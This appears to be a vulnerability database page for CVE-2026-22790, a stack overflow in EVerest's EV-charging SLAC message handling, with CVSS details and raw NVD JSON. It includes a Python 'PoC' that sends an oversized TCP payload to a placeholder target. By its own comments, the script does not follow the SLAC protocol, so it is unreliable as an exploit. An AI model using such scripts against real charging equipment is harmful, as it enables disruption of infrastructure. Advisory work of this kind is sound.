Security Vulnerability Report
中文
CVE-2026-22790 CVSS 8.8 HIGH

CVE-2026-22790

Published: 2026-03-26 15:16:32
Last Modified: 2026-03-31 13:50:32

Description

EVerest is an EV charging software stack. Prior to version 2026.02.0, `HomeplugMessage::setup_payload` trusts `len` after an `assert`; in release builds the check is removed, so oversized SLAC payloads are `memcpy`'d into a ~1497-byte stack buffer, corrupting the stack and enabling remote code execution from network-provided frames. Version 2026.02.0 contains a patch.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:* - VULNERABLE
EVerest < 2026.02.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # PoC for CVE-2026-22790: EVerest Stack Buffer Overflow # This script sends a crafted oversized SLAC payload to trigger the overflow. TARGET_IP = "192.168.1.100" # Replace with target IP TARGET_PORT = 9999 # Replace with actual service port if known # The vulnerable buffer is approximately 1497 bytes. # We send a payload larger than that to corrupt the stack. # Payload structure: Header + Oversized SLAC Payload + Padding/Return Address overflow_size = 2000 # Size sufficient to overflow the ~1497 byte buffer payload = b"A" * overflow_size # Constructing a malicious packet (Assuming generic TCP/UDP wrapper) # In a real scenario, this must match the Homeplug/SLAC protocol structure. try: print(f"[*] Sending payload to {TARGET_IP}:{TARGET_PORT}...") # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) # Send the malicious payload s.send(payload) print("[+] Payload sent successfully.") print("[!] If successful, the service should have crashed or executed code.") s.close() except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22790", "sourceIdentifier": "[email protected]", "published": "2026-03-26T15:16:31.970", "lastModified": "2026-03-31T13:50:31.947", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EVerest is an EV charging software stack. Prior to version 2026.02.0, `HomeplugMessage::setup_payload` trusts `len` after an `assert`; in release builds the check is removed, so oversized SLAC payloads are `memcpy`'d into a ~1497-byte stack buffer, corrupting the stack and enabling remote code execution from network-provided frames. Version 2026.02.0 contains a patch."}, {"lang": "es", "value": "EVerest es una pila de software de carga de vehículos eléctricos. Antes de la versión 2026.02.0, 'HomeplugMessage::setup_payload' confía en 'len' después de un 'assert'; en las compilaciones de lanzamiento la verificación se elimina, por lo que las cargas útiles SLAC sobredimensionadas son 'memcpy'eadas en un búfer de pila de ~1497 bytes, corrompiendo la pila y permitiendo la ejecución remota de código desde tramas proporcionadas por la red. La versión 2026.02.0 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.02.0", "matchCriteriaId": "EB167E67-6808-4F7B-9505-FFF0C02B288C"}]}]}], "references": [{"url": "https://github.com/EVerest/EVerest/security/advisories/GHSA-wh8w-7cfc-gq7m", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/EVerest/EVerest/security/advisories/GHSA-wh8w-7cfc-gq7m", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}